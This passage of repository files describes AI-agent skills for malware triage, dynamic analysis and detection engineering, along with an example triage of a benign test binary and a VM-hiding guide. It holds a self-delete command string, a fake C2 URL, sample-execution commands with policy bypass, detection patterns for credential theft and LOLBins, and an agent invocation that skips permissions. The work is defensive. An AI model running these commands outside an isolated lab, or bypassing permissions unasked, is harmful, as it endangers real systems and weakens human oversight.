- [ ] Confidence levels assigned
- [ ] Volatility assessed
- [ ] Context provided for each IOC
- [ ] No environment-specific artifacts
- [ ] Timestamps included (UTC)
- [ ] Format standardized (CSV/STIX/OpenIOC)
**Hunting Queries:**
- [ ] Query tested and returns results
- [ ] Performance acceptable (<30s)
- [ ] Results actionable
- [ ] False positive rate acceptable
- [ ] Query documented (purpose, expected results)
---
## Integration with Malware Reports
Detection content appears in multiple report sections:
**IOCs Section:**
- Defanged IOCs grouped by type
- Confidence ratings
- Context for each indicator
**Detection Rules Section:**
- YARA rules (from malware-report-writer skill)
- Sigma rules (from this skill)
- Suricata rules (from this skill)
**Remediation Section:**
- Hunting queries for IR teams
- Detection deployment guidance
- IOC search instructions
**Appendix:**
- IOC export files (CSV, STIX)
- Sigma rule files (.yml)
- Suricata rule files (.rules)
---
## Tool Quick Reference
| Task | Tool | Command |
|------|------|---------|
| **Defang IOCs** | ioc-fanger | `echo "http://evil.com" \| fanger --defang` |
| **Convert Sigma** | sigma-cli | `sigma convert -t splunk rule.yml` |
| **Test Suricata** | suricata | `suricata -T -S rules.rules` |
| **Generate UUID** | uuidgen | `uuidgen` (Linux/Mac) or online |
| **Validate STIX** | stix2-validator | `stix2_validator file.json` |
---
## Example Usage
**User request:** "Create detection rules for the ransomware"
**What you do:**
1. Read `analysis_state.md` and the dynamic summaries; list the detectable behaviors (vssadmin shadow deletion, mass rename to `.locked`, ransom-note drop, Run key, C2 POST with fixed UA/URI).
2. Write one Sigma rule per behavior (`process_creation`, `file_event`, `registry_set`) with ATT&CK tags and a real UUID; `sigma check` them.
3. Write Suricata rules for the C2 HTTP pattern and DNS name with SIDs ≥ 1000000; `suricata -T` them.
4. Write Splunk/KQL hunting queries for the same behaviors.
5. `ioc_extract.py --format csv` → `detections/iocs.csv`; STIX if requested.
6. Record rule paths + test results in `analysis_state.md`; recommend `malware-report-writer` next.

View File

@@ -0,0 +1,62 @@
# Example: autonomous triage run
This is a **real, unedited** triage produced by Claude Code running the
`malware-triage` skill headless against the benign test fixture
(`tests/make_pe.py` — a PE that only calls `ExitProcess(0)` but imports
injection/network/persistence APIs and embeds C2-like strings to exercise
every heuristic).
Reproduce it:
```bash
python3 tests/make_pe.py tests/out/invoice_2024.exe
claude -p "Read malware-triage/SKILL.md and follow it to triage \
tests/out/invoice_2024.exe. Do not execute the sample." \
--dangerously-skip-permissions
```
With no further prompting Claude ran `file`, the hash calculator, `pe_info.py`,
`strings` (ASCII + UTF-16), and `ioc_extract.py`; hand-decoded the 16-byte
`.text` section; recognised from full code coverage that the binary only exits;
and returned the verdict below — correctly **benign**, while noting the static
surface mimics a dropper. Model: claude-fable-5-1. Cost: $1.39.
---
## Triage Report — invoice_2024.exe
**Hashes:** MD5 `a7552cd2ee8036124191ce165e34f0ab` / SHA1 `56125768236e57cc5587e5d52d85deb73fc64401` / SHA256 `af747150f9afc0937a6b62755f9bd84cfb88726370f6007ac03f8f7504d38c4d` **Size:** 3602 bytes **Type:** PE32 x86 console EXE, 3 sections, not .NET **Packed:** No
**Reputation:** not checked. No VirusTotal / MalwareBazaar MCP in session. Look up SHA256 above; fixture hash likely has no record.
### Static Findings
- **Compile / linker / signature / PDB:** timestamp `2024-01-01T00:00:00Z` (round, synthetic). Linker 14.0, no Rich header. Unsigned. PDB path present only as loose string, not in debug directory: `D:\build\fixture\Release\invoice.pdb`.
- **Sections:** `.text` 16 bytes, entropy 0.24, holds entry point. `.rdata` 933 bytes (4.46). `.data` 83 bytes (0.35). No packing indicators.
- **Code:** entire `.text` = `6a 00 ff 15 74 20 40 00` + `int3` padding. Decodes to `push 0; call [0x402074]` = `ExitProcess(0)`. No branch, no loop, no other call. Every other import unreachable.
- **Imports (13, all decoy except ExitProcess):** injection → VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, OpenProcess. network → InternetOpenA, InternetOpenUrlA, InternetReadFile. persistence → RegCreateKeyExA, RegSetValueExA. execution → CreateProcessA, GetTempPathA. anti-debug → IsDebuggerPresent.
- **Strings (34 total, both encodings):** C2 URL, IE6 UA string, Run key + value `WinUpdate`, drop path `C:\Users\Public\svc.exe`, mutex, named pipe, UTF-16 self-delete `cmd.exe /c ping -n 3 127.0.0.1 & del "%s"`, `config-placeholder`, and literal `BENIGN TEST FIXTURE - this program only calls ExitProcess(0)`.
- **Resources / overlay / TLS:** no resources, no TLS. Overlay 530 bytes at `0xc00`: header `OVERLAY-TEST-DATA:` then bytes 0x00–0xff twice. Entropy 7.98 is byte counter, not crypto.
- **Absent:** no Rich header, no version info, no real config blob. `ioc_extract` "domain" hit `invoice[.]pdb` is false positive (PDB filename).
### Classification
**Verdict:** Benign **Type:** Synthetic test fixture / decoy binary, static surface mimics dropper-trojan **Threat:** Low **Sophistication:** Simple
**Capabilities:** none executed. Only `ExitProcess(0)`.
**Reasoning:** Benign needs positive evidence. Here: full code coverage (16 bytes) shows single call to ExitProcess. Network artefacts on reserved test ranges (`example.test`, `203.0.113.5` TEST-NET-3). Build dir named `fixture`, mutex/pipe/UA all named "test". Explicit fixture banner string. Imports and strings would trip every heuristic scanner; that is the fixture's point.
### Predicted Behavior
- **Process:** starts, exits code 0 immediately. Evidence: entry point code. No child process, no injection (CreateProcessA / CreateRemoteThread imported, never called).
- **Files:** none. Drop path `C:\Users\Public\svc.exe` string-only.
- **Registry:** none. Run key string-only.
- **Network:** none. WinINet imports and `gate.php` URL string-only.
- **Persistence:** none.
- **Evasion:** none. IsDebuggerPresent never called.
### Initial IOCs (defanged)
File: hashes above · imphash `dfcaebd44ff7676285215e9d856415f3` · PDB `D:\build\fixture\Release\invoice.pdb`
Network: `hxxp://update-cdn[.]example[.]test/gate[.]php` · `203[.]0[.]113[.]5` · UA `Mozilla/4.0 (compatible; MSIE 6.0; TestUA/1.0)`
Host: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` → `WinUpdate` · `C:\Users\Public\svc.exe` · mutex `Global\TestFixtureMutex_9f2a` · pipe `\\.\pipe\testfixture` · `cmd.exe /c ping -n 3 127.0.0.1 & del "%s"`
All string-only; none exercised by code. Do not push to blocklists.
### Recommendation
**Priority:** Low **Next phase:** Close as Benign. No dynamic analysis; nothing to observe past instant exit. **Why:** complete code coverage, self-declared fixture, reserved test infrastructure. Useful as false-positive fixture for `detection-engineer` rule tests if wanted.
State appended to `analysis_state.md` in repo root. Work dir `tests/out/triage_invoice_2024.exe/` holds strings, carved overlay.

View File

@@ -0,0 +1,324 @@
---
name: malware-dynamic-analysis
description: Behavioral analysis of a sample executed in an isolated VM. Use after triage when runtime behavior, C2 traffic, dropped files, persistence, or injection must be observed. Claude produces a tailored VM runbook from triage predictions, then parses the exported text evidence (Procmon CSV, Sysmon JSON/CSV, tshark output, autoruns, strings) on the host to reconstruct behavior and extract IOCs. The analyst runs the VM; Claude never executes the sample.
---
# Malware Dynamic Analysis
Two halves. **Part A** is a runbook the analyst follows inside the isolated VM (REMnux / FlareVM); you tailor it from triage predictions and it ends with text-format evidence exports. **Part B** is your work: parse that evidence on the host, reconstruct what the sample did, extract behavioral IOCs, and write findings to `analysis_state.md`.
## Execution Model
- **You never execute the sample.** The VM is network-isolated and has no Claude in it. Everything you run is on the host against exported evidence files.
- **Locate skill files.** Scripts and reference files ship in this skill's directory. Set `R="${CLAUDE_PLUGIN_ROOT:-<dir containing this SKILL.md>}"` once (when installed as a plugin `$CLAUDE_PLUGIN_ROOT` is set; otherwise it is this skill folder). Your working directory is the user's analysis workspace, so prefix every script path below with `$R`, e.g. `python3 "$R"/scripts/ioc_extract.py`.
- **Before the VM run:** read the triage findings in `analysis_state.md` and emit a runbook tailored to the predictions (which process names to filter, which Sysmon event IDs matter, expected protocol, expected persistence, expected evasion). Skip the tailoring only if triage is missing — then use the default runbook as-is.
- **After the VM run:** the user hands you an evidence directory. Inventory it, reject binary formats with the conversion command (see **Converting Binary Evidence**), and then work through Part B with Bash and the bundled scripts. Do not ask the user to summarize the evidence for you.
- **Scripts** (relative to this skill dir): `scripts/procmon_summary.py`, `scripts/sysmon_summary.py`; plus `../scripts/ioc_extract.py` at repo root. All stdlib Python 3.
- **Sandbox reports count as evidence.** ANY.RUN / Joe Sandbox / Hybrid Analysis / Threat.Zone (MCP) JSON or text reports go through Part B Step 6.
- **Large files:** `wc -l` first. Use the summary scripts and `grep`, never `cat` a 200k-line Procmon CSV.
---
## Part A — VM Runbook (analyst executes this)
Emit this to the user, filled in with the sample name and triage predictions. Keep the safety checklist verbatim.
### A1. Safety checklist — all boxes or do not execute
- [ ] Clean VM snapshot taken
- [ ] Network: host-only / internal, with INetSim or FakeNet-NG answering (never NAT to the real internet unless the engagement explicitly allows it)
- [ ] No shared folders, no clipboard sharing, no drag-and-drop
- [ ] Guest time sync disabled
- [ ] Monitoring tools started **before** execution (order below)
- [ ] Analysis persona active — no real credentials, names, or corporate artifacts on the VM
- [ ] Evidence transfer path decided (USB / one-way share) and a `C:\evidence\` directory created
Full VM hardening and anti-VM-detection countermeasures: `references/sandbox_setup.md`, `references/anti_analysis_bypass.md`.
### A2. Start monitoring (in this order)
1. INetSim / FakeNet-NG (network simulation)
2. Sysmon — already installed with `olafhartong/sysmon-modular` or SwiftOnSecurity config
3. Procmon — clear capture (Ctrl+X), apply filters (below)
4. Wireshark — capture on the VM adapter
5. System Informer
6. Regshot 1st shot (optional) / `autorunsc` baseline (below)
Tool configuration details: `references/tool_setup.md`.
**Procmon filters** (tailor from triage — add predicted child processes and LOLBins):
```
Process Name is <sample.exe> Include
Process Name is <predicted child, e.g. powershell.exe, rundll32.exe> Include
Operation contains Process Include (keeps Process Create for the tree)
Process Name is procmon.exe / SystemInformer.exe / wireshark.exe Exclude
```
Do **not** filter to the sample alone if injection is predicted — include the predicted target (`explorer.exe`, `svchost.exe`, `RegAsm.exe`, …).
**Baseline persistence snapshot** (Sysinternals Autoruns, run as admin):
```powershell
autorunsc64.exe -accepteula -a * -c -h -s -nobanner | Out-File -Encoding utf8 C:\evidence\autoruns_before.csv
```
### A3. Execute
```powershell
# EXE
.\sample.exe # add args if triage found a required switch, e.g. /install /silent
# DLL — triage lists the exports; try DllMain first, then each named export
rundll32.exe sample.dll,DllMain
rundll32.exe sample.dll,<Export>
# Scripts
powershell.exe -ExecutionPolicy Bypass -File sample.ps1
cscript.exe //NoLogo sample.vbs
wscript.exe sample.js
mshta.exe sample.hta
```
Observe **15 minutes minimum**; 60+ if triage found sleep/time checks. Interact where the sample expects it (click the decoy, dismiss dialogs). Note the wall-clock time of execution — it anchors every timeline.
Watch for: new processes, network attempts (INetSim log), files in `%TEMP%`, `%APPDATA%`, `C:\ProgramData`, `C:\Users\Public`, registry Run keys, new services/tasks, UI changes (ransom note, fake error), CPU spikes.
If nothing happens: see `references/anti_analysis_bypass.md` (VM checks, sleep patching, required arguments, missing parent process, locale/keyboard checks).
### A4. Export evidence — text formats only
Run these before reverting. Every file lands in `C:\evidence\` (or `/evidence` on REMnux) and must be text.
| Source | Command / action | File |
|--------|------------------|------|
| Procmon | File → Save → **All events** → **CSV** (or `procmon.exe /OpenLog cap.pml /SaveAs procmon.csv`) | `procmon.csv` |
| Sysmon | `Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'} \| Select-Object Id,TimeCreated,Message \| ConvertTo-Json -Depth 3 \| Out-File -Encoding utf8 C:\evidence\sysmon.json` | `sysmon.json` |
| Wireshark → tshark | see block below | `dns.txt`, `http.txt`, `conns.txt`, `tls.txt`, `syn.txt` |
| Wireshark objects | File → Export Objects → HTTP → save all | `http_objects/` |
| INetSim | copy `/var/log/inetsim/service.log` and `report/` | `inetsim_service.log` |
| System Informer | File → Save → `processes.txt`; for suspicious process: right-click → Create dump file | `processes.txt`, `<proc>.dmp` |
| Memory dump strings | `strings -a -n 8 -e l proc.dmp > proc_strings_wide.txt; strings -a -n 8 proc.dmp > proc_strings.txt` (REMnux `strings`, or FLOSS) | `*_strings*.txt` |
| Persistence | `autorunsc64.exe -accepteula -a * -c -h -s -nobanner \| Out-File -Encoding utf8 C:\evidence\autoruns_after.csv` | `autoruns_after.csv` |
| Scheduled tasks / services / WMI | PowerShell block below | `persistence.txt` |
| Regshot | Compare → output **TXT** | `regshot.txt` |
| Dropped files | PowerShell block below; copy the files themselves into `dropped/` (they are new samples) | `dropped_hashes.csv`, `dropped/` |
| Screenshots | ransom notes, dialogs, anything visual | `screenshots/*.png` |
**tshark exports** (run on REMnux against the saved `capture.pcapng`, or in the FlareVM Wireshark install dir):
```bash
P=capture.pcapng
tshark -r $P -Y "dns.flags.response==0" -T fields -e frame.time -e ip.src -e dns.qry.name > dns.txt
tshark -r $P -Y "http.request" -T fields -e frame.time -e ip.dst -e http.host -e http.request.method -e http.request.uri -e http.user_agent > http.txt
tshark -r $P -Y "tls.handshake.type==1" -T fields -e frame.time -e ip.dst -e tcp.dstport -e tls.handshake.extensions_server_name -e tls.handshake.ja3 > tls.txt
tshark -r $P -q -z conv,tcp -z conv,udp > conns.txt
tshark -r $P -Y "tcp.flags.syn==1 && tcp.flags.ack==0" -T fields -e frame.time_epoch -e ip.dst -e tcp.dstport > syn.txt
tshark -r $P -Y "http.request.method==POST" -T fields -e ip.dst -e http.request.uri -e http.content_length -e http.file_data > http_post.txt
```
**Persistence and dropped files** (PowerShell, after execution):
```powershell
$E = "C:\evidence"
Get-ScheduledTask | ? {$_.TaskPath -notlike "\Microsoft*"} | Select TaskName,TaskPath,State,@{n='Action';e={$_.Actions.Execute + ' ' + $_.Actions.Arguments}} | Format-List | Out-File -Encoding utf8 "$E\persistence.txt"
Get-CimInstance Win32_Service | ? {$_.PathName -notlike "C:\Windows\*"} | Select Name,PathName,StartMode,State | Format-List | Out-File -Encoding utf8 "$E\persistence.txt" -Append
Get-CimInstance -Namespace root\Subscription -Class __FilterToConsumerBinding | Format-List | Out-File -Encoding utf8 "$E\persistence.txt" -Append
foreach ($k in 'HKCU','HKLM') { Get-ItemProperty "${k}:\Software\Microsoft\Windows\CurrentVersion\Run*" | Out-File -Encoding utf8 "$E\persistence.txt" -Append }
$t = (Get-Date).AddMinutes(-90) # adjust to execution time
mkdir "$E\dropped" -Force | Out-Null
Get-ChildItem -Path $env:TEMP,$env:APPDATA,$env:LOCALAPPDATA,C:\ProgramData,C:\Users\Public,C:\Windows\Temp -Recurse -File -Force -ErrorAction SilentlyContinue |
? {$_.CreationTime -gt $t} | % { Copy-Item $_.FullName "$E\dropped\" -Force -ErrorAction SilentlyContinue; $_ } |
Get-FileHash -Algorithm SHA256 | Export-Csv "$E\dropped_hashes.csv" -NoTypeInformation
```
Then: transfer `C:\evidence\` to the host, **revert the snapshot**, verify the revert.
### Converting Binary Evidence
If the user brings PML / PCAP(NG) / EVTX instead, reply with the conversion command and wait:
| Got | Convert with |
|-----|--------------|
| `.pml` | Windows VM: `procmon.exe /OpenLog x.pml /SaveAs x.csv` |
| `.pcap` / `.pcapng` | The tshark block in A4 (tshark exists on REMnux and on any host with Wireshark) — you can run this yourself on the host if tshark is installed: `command -v tshark` |
| `.evtx` | Windows: `Get-WinEvent -Path sysmon.evtx \| Select Id,TimeCreated,Message \| ConvertTo-Json -Depth 3 \| Out-File -Encoding utf8 sysmon.json`. Host/REMnux: `evtx_dump --format jsonl sysmon.evtx > sysmon.jsonl` (`pip install evtx`) — `sysmon_summary.py` reads both |
| `.dmp` | `strings -a -n 8 x.dmp > x_strings.txt; strings -a -n 8 -e l x.dmp > x_strings_wide.txt` — run on the host, it is not executable |
PCAP and memory dumps are safe to handle on the host; the PE files in `dropped/` are new samples and go back through triage.
---
## Part B — Evidence Analysis (you do this)
### B0. Inventory
```bash
E=/path/to/evidence
ls -la "$E"; file "$E"/* | grep -v ':.*text' ; wc -l "$E"/*.csv "$E"/*.txt "$E"/*.json 2>/dev/null
head -2 "$E/procmon.csv" # confirm columns: Time of Day, Process Name, PID, Operation, Path, Result, Detail
```
Anything that is not text → **Converting Binary Evidence**. Note the sample's process name(s) from triage/state; you will scope everything on them.
### B1. Process behavior — Procmon
```bash
python3 malware-dynamic-analysis/scripts/procmon_summary.py "$E/procmon.csv" --process sample.exe > "$E/procmon_summary.txt"
wc -l "$E/procmon_summary.txt"; sed -n 1,80p "$E/procmon_summary.txt"
```
The summary gives: process tree with command lines, files created/written/renamed/deleted, registry writes with persistence keys flagged, network endpoints, DLLs loaded from outside `C:\Windows`, event counts. Read it fully (page with `sed -n`). Then drill into specifics straight from the CSV:
```bash
# everything one child did
grep -F '"powershell.exe"' "$E/procmon.csv" | cut -d, -f2,4,5 | sort | uniq -c | sort -rn | head -40
# a specific path or key
grep -iF 'CurrentVersion\Run' "$E/procmon.csv" | head
# timeline of process starts (first-seen order)
grep -F '"Process Start"' "$E/procmon.csv" | cut -d, -f1,2,3,7 | head -40
```
Interpret against the triage predictions: confirmed, refuted, or unexpected. Injection shows up as the sample writing to another process's address space only indirectly in Procmon — cross-check with Sysmon EID 8/10 in B2. Self-deletion (`SetDispositionInformationFile` on its own path, or `cmd /c del`), decoy launches, and LOLBin chains (`rundll32`, `regsvr32`, `mshta`, `wscript`, `msiexec`, `certutil`, `bitsadmin`) are the usual tells.
### B2. Process behavior — Sysmon
```bash
python3 malware-dynamic-analysis/scripts/sysmon_summary.py "$E/sysmon.json" --process sample.exe > "$E/sysmon_summary.txt"
sed -n 1,120p "$E/sysmon_summary.txt"
```
Sections and what they prove:
| Section (EID) | Read it for |
|---------------|-------------|
| Process tree (1) | Authoritative parent/child + full command lines + hashes of every executed image |
| Network (3) | Per-process destinations; `BEACON-LIKE` tag = regular intervals (coefficient of variation < 0.3 over ≥5 connections) |
| DNS (22) | Queried names and resolved IPs, even when the connection failed |
| Files (11) | Dropped files by process — the source of truth for `dropped/` |
| Registry (12/13/14) | `PERSISTENCE` flags: Run/RunOnce, Services, Winlogon, IFEO, TaskCache, AppInit |
| Remote threads (8) | `CreateRemoteThread` injection: source → target, start address |
| Process access (10) | `OpenProcess` with high rights (`0x1F0FFF`, `0x1FFFFF`, `0x143A`) → injection prep, LSASS access → credential theft |
| Image loads (7) | Unsigned DLLs from user-writable paths, sideloading |
| Pipes (17/18) | Named pipes = Cobalt Strike / Meterpreter / custom IPC IOCs |
| WMI (19/20/21) | WMI event subscription persistence |
| Tampering (25) | Process hollowing / herpaderping |
Correlate B1 and B2: Procmon has more file/registry granularity, Sysmon has hashes, injection, DNS, and command lines. Where they disagree, trust Sysmon for process identity and Procmon for file operations.
### B3. Network
```bash
cat "$E/dns.txt" | awk '{print $NF}' | sort | uniq -c | sort -rn | head -30
cat "$E/http.txt" | head -40
cat "$E/tls.txt" | awk -F'\t' '{print $2":"$3, $4, $5}' | sort -u
sed -n 1,60p "$E/conns.txt"
grep -v '^$' "$E/http_post.txt" | head -20
grep -iE 'connect|request|GET|POST' "$E/inetsim_service.log" | head -40
```
Beacon detection from `syn.txt` (interval regularity per destination):
```bash
python3 - "$E/syn.txt" <<'EOF'
import sys, statistics, collections
by = collections.defaultdict(list)
for line in open(sys.argv[1]):
p = line.split()
if len(p) == 3: by[(p[1], p[2])].append(float(p[0]))
for (ip, port), ts in by.items():
ts.sort(); gaps = [b-a for a, b in zip(ts, ts[1:])]
if len(gaps) >= 4:
m = statistics.mean(gaps); cv = statistics.pstdev(gaps)/m if m else 9
print(f"{ip}:{port} n={len(ts)} mean={m:.1f}s cv={cv:.2f} {'BEACON' if cv < 0.3 else ''}")
EOF
```
What to establish: C2 hosts (DNS name → IP → port → protocol), beacon interval and jitter, User-Agent and URI pattern (Suricata material), TLS SNI/JA3, download URLs and what came back (`http_objects/` — `file` them; PE payloads go back to triage), exfiltration (POST sizes, encoding), DGA signs (many NXDOMAIN, random-looking labels), and whether traffic went to INetSim or the sample gave up (matters for what you can claim).
### B4. Persistence and system changes
```bash
cat "$E/persistence.txt"
# autoruns diff: entries present after but not before
python3 - "$E/autoruns_before.csv" "$E/autoruns_after.csv" <<'EOF'
import csv, sys
key = lambda r: (r.get('Entry Location',''), r.get('Entry',''), r.get('Image Path',''))
before = {key(r) for r in csv.DictReader(open(sys.argv[1], encoding='utf-8-sig', errors='replace'))}
for r in csv.DictReader(open(sys.argv[2], encoding='utf-8-sig', errors='replace')):
if key(r) not in before: print(r.get('Entry Location'), '|', r.get('Entry'), '|', r.get('Image Path'), '|', r.get('Signer',''))
EOF
grep -iE 'Run|Services|TaskCache|Winlogon' "$E/regshot.txt" | head -40
```
Map each mechanism to ATT&CK (T1547.001 Run keys, T1053.005 scheduled task, T1543.003 service, T1546.003 WMI, T1574.002 sideloading, …) — the detection phase needs the technique IDs.
### B5. Dropped files and memory strings
```bash
cat "$E/dropped_hashes.csv"
file "$E"/dropped/*
python3 scripts/ioc_extract.py "$E"/*_strings*.txt # C2, keys, paths decrypted only at runtime
grep -iE 'user-agent|/gate|/panel|\.php|password|token|Bearer' "$E"/*_strings*.txt | sort -u | head -40
```
Every PE in `dropped/` is a new sample: add it to `analysis_state.md` and route back through `malware-triage`. Runtime strings that were absent from the static strings dump are the decrypted config — call that out explicitly, it is the strongest YARA/Suricata material.
### B6. Sandbox reports (if provided)
ANY.RUN / Joe / Hybrid Analysis / Threat.Zone JSON: `jq` the process tree, network, dropped files, and MITRE sections; treat them as a fourth evidence source and reconcile with B1-B5. Sandbox results are weaker than your own VM run when the sample is VM-aware — say so if behaviors differ.
```bash
jq -r '.. | .processes? // empty' report.json | head; jq -r '.. | .network? // empty' report.json | head
```
### B7. Consolidate
```bash
cat "$E/procmon_summary.txt" "$E/sysmon_summary.txt" "$E"/dns.txt "$E"/http.txt "$E"/tls.txt "$E"/persistence.txt 2>/dev/null | python3 scripts/ioc_extract.py > "$E/iocs_defanged.txt"
```
Remove your own lab artifacts (VM hostname, INetSim IPs, analyst username) and Windows-internal noise from the IOC list before recording it.
## Output
Append to `analysis_state.md` under the sample's **Analysis Findings** and **IOCs Identified**, then print the findings summary:
```markdown
## Dynamic Analysis — [sample] (executed [UTC time], observed [n] min, VM: [FlareVM/REMnux], network: [INetSim/FakeNet/none])
### Execution chain
[process tree with command lines; injection targets; LOLBins; self-deletion]
### Predictions vs observed
| Triage prediction | Observed | Evidence |
### File system
Created / modified / deleted, with hashes for dropped PE files
### Registry & persistence
Mechanism → key/task/service → payload path → ATT&CK ID
### Network
C2: host → IP:port, protocol, beacon interval/jitter, UA, URI pattern, TLS SNI/JA3 · Downloads · Exfil · DGA
### Evasion observed
Sleep, VM checks, debugger checks, tampering (EID 25), what was bypassed and how
### Behavioral IOCs (defanged)
Process (names, cmdlines, mutexes, pipes) · File (paths, hashes) · Registry · Network
### MITRE ATT&CK
Technique IDs with the observation that supports each
### Not observed / limitations
[network to real C2 blocked; sample exited after VM check; only 15 min observed …]
```
Recommend `detection-engineer` next (behaviors + network IOCs are ready) unless dropped payloads need triage first.
## Quality Gate
Evidence inventoried and all text · process tree with command lines · every prediction marked confirmed/refuted/unexpected · dropped files hashed and routed · persistence mapped to ATT&CK · C2 characterized (or explicitly "no network observed") · IOCs defanged and lab noise removed · limitations stated · state file updated.
## References
- `references/tool_setup.md` — Procmon filters/columns, Wireshark filters, System Informer, Sysmon install, Regshot, TCPView, Noriben, INetSim, FakeNet-NG
- `references/sandbox_setup.md` — REMnux/FlareVM build, isolation, snapshots, CAPE/Cuckoo
- `references/anti_analysis_bypass.md` — VM/debugger/sleep evasion and how to defeat it
- `scripts/procmon_summary.py`, `scripts/sysmon_summary.py` — evidence condensers (`--self-test` to verify)
- `../scripts/ioc_extract.py` — IOC extraction and defanging

View File

@@ -0,0 +1,667 @@
# Anti-Analysis Bypass Guide
Reference for identifying and bypassing malware evasion techniques during dynamic analysis.
---
## Overview
Anti-analysis techniques fall into four categories:
| Category | Goal | MITRE ATT&CK |
|----------|------|--------------|
| VM/sandbox detection | Avoid executing in automated analysis environments | T1497 |
| Debugger detection | Prevent live debugging and breakpoint analysis | T1622 |
| Timing-based evasion | Delay execution past sandbox timeout windows | T1497.003 |
| Environmental keying | Execute only when specific conditions are met | T1480 |
---
## VM and Sandbox Detection
### How Malware Detects VMs
**Registry artifact checks (MITRE T1497.001):**
```
HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
HKLM\SOFTWARE\VMware, Inc.\VMware Tools
HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest
HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs
HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier
→ "VBOX HARDDISK", "VMWARE VIRTUAL IDE HARD DRIVE"
```
**Process enumeration:**
```
vboxservice.exe VirtualBox guest service
vboxtray.exe VirtualBox system tray
vmtoolsd.exe VMware Tools daemon
vmwaretray.exe VMware system tray
vmacthlp.exe VMware activation helper
vmsrvc.exe VirtualPC service
df5serv.exe Parallels service
prl_tools.exe Parallels Tools
```
**Driver/device checks:**
```
\\.\VBoxMiniRdrDN
\\.\VBoxGuest
\\.\vmci
\\.\HGFS
\Device\VBoxGuest
\Device\vmhgfs
```
**CPUID hypervisor bit (EAX=1, ECX bit 31):**
Malware executes CPUID and checks bit 31 of ECX. If set, a hypervisor is present. Subsequent CPUID with EAX=0x40000000 returns a vendor string: "VMwareVMware", "KVMKVMKVM", "VBoxVBoxVBox", "Microsoft Hv".
**MAC address OUI checks:**
```
08:00:27 VirtualBox
00:0C:29 VMware
00:50:56 VMware (vSphere)
00:1C:14 VMware
00:05:69 VMware
00:03:FF Microsoft Hyper-V
```
**Screen resolution / user interaction:**
```
Screen size exactly 1024x768 → sandbox default
No mouse movement history
No browser history / recent files
Uptime < 10 minutes
Single CPU core
Total RAM < 2 GB
```
**Identifying VM detection in static analysis:**
Look for these API calls in import tables or dynamic calls:
```
GetSystemInfo → CPU count check
GlobalMemoryStatusEx → RAM check
EnumProcesses → process list scan
CreateFile(\\.\<device>) → device existence check
RegOpenKeyEx / RegQueryValueEx → registry artifact checks
GetAdaptersInfo → MAC address check
GetTickCount / GetSystemTime → uptime / time checks
```
### Bypass Strategies
**Remove VirtualBox Guest Additions:**
```powershell
# Uninstall via Control Panel or:
Start-Process "C:\Program Files\Oracle\VirtualBox Guest Additions\uninstall.exe" -Wait
# Remove leftover registry keys
Remove-Item "HKLM:\SOFTWARE\Oracle\VirtualBox Guest Additions" -Recurse -ErrorAction SilentlyContinue
Remove-Item "HKLM:\SYSTEM\CurrentControlSet\Services\VBoxGuest" -Recurse -ErrorAction SilentlyContinue
Remove-Item "HKLM:\SYSTEM\CurrentControlSet\Services\VBoxSF" -Recurse -ErrorAction SilentlyContinue
Remove-Item "HKLM:\SYSTEM\CurrentControlSet\Services\VBoxMouse" -Recurse -ErrorAction SilentlyContinue
# Stop and delete VBox services
sc.exe stop VBoxGuest
sc.exe delete VBoxGuest
```
**Spoof BIOS/DMI strings (VirtualBox, run on host):**
```bash
VBoxManage setextradata "VM-Name" \
"VBoxInternal/Devices/pcbios/0/Config/DmiBIOSVendor" "American Megatrends Inc."
VBoxManage setextradata "VM-Name" \
"VBoxInternal/Devices/pcbios/0/Config/DmiBIOSVersion" "F10"
VBoxManage setextradata "VM-Name" \
"VBoxInternal/Devices/pcbios/0/Config/DmiSystemProduct" "MS-7B86"
VBoxManage setextradata "VM-Name" \
"VBoxInternal/Devices/pcbios/0/Config/DmiSystemVendor" "MSI"
VBoxManage setextradata "VM-Name" \
"VBoxInternal/Devices/pcbios/0/Config/DmiBoardProduct" "MAG Z390 TOMAHAWK"
VBoxManage setextradata "VM-Name" \
"VBoxInternal/Devices/pcbios/0/Config/DmiChassisVendor" "MSI"
```
**Suppress CPUID hypervisor bit (VirtualBox):**
```bash
VBoxManage modifyvm "VM-Name" --paravirtprovider none
```
**VMware: suppress CPUID and hypervisor detection:**
Add to the `.vmx` file:
```
hypervisor.cpuid.v0 = "FALSE"
SMBIOS.reflectHost = "TRUE"
board.vendor = "MSI"
board.product = "MAG Z390 TOMAHAWK"
```
**Spoof MAC address:**
```bash
# VirtualBox (use a real vendor OUI)
VBoxManage modifyvm "VM-Name" --macaddress1 "8C8D28AABBCC"
# Intel OUIs: 8C:8D:28, 00:1B:21, F4:4D:30
# Realtek OUI: 00:E0:4C
```
**Add realistic user artifacts:**
```powershell
# Create browser history (requires Chrome installed)
# Open URLs from PowerShell
Start-Process "chrome.exe" "https://www.gmail.com"
Start-Process "chrome.exe" "https://www.stackoverflow.com"
# Create recent documents
$docs = @("budget_2024.xlsx","notes.txt","presentation.pptx")
foreach ($d in $docs) {
New-Item -Path "$env:USERPROFILE\Documents\$d" -ItemType File -Force
}
# Set realistic uptime by running VM for 30+ minutes before analysis
```
**Use VBoxHardenedLoader (advanced):**
VBoxHardenedLoader patches the VirtualBox kernel driver to pass CPUID and other checks transparently without removing guest additions.
```
# https://github.com/hfiref0x/VBoxHardenedLoader
# Load driver: VBoxHLinstall.cmd
# Provides transparent VM hiding while keeping shared folders functional
```
---
## Debugger Detection
### How Malware Detects Debuggers (MITRE T1622)
**IsDebuggerPresent / CheckRemoteDebuggerPresent:**
Most common check. Reads the PEB (Process Environment Block) `BeingDebugged` flag directly.
```
PEB offset 0x2 (32-bit) / 0x2 (64-bit): BeingDebugged byte
PEB offset 0x68 (32-bit) / 0xBC (64-bit): NtGlobalFlag (set to 0x70 under debugger)
```
**NtQueryInformationProcess:**
```
ProcessDebugPort (class 7) → non-zero if debugged
ProcessDebugObjectHandle (class 30) → valid handle if debugged
ProcessDebugFlags (class 31) → 0 if debugged
```
**Heap flags (PEB.ProcessHeap):**
```
Heap.Flags: normally 0x2, under debugger 0x50000062
Heap.ForceFlags: normally 0x0, under debugger 0x40000060
```
**Hardware breakpoint detection:**
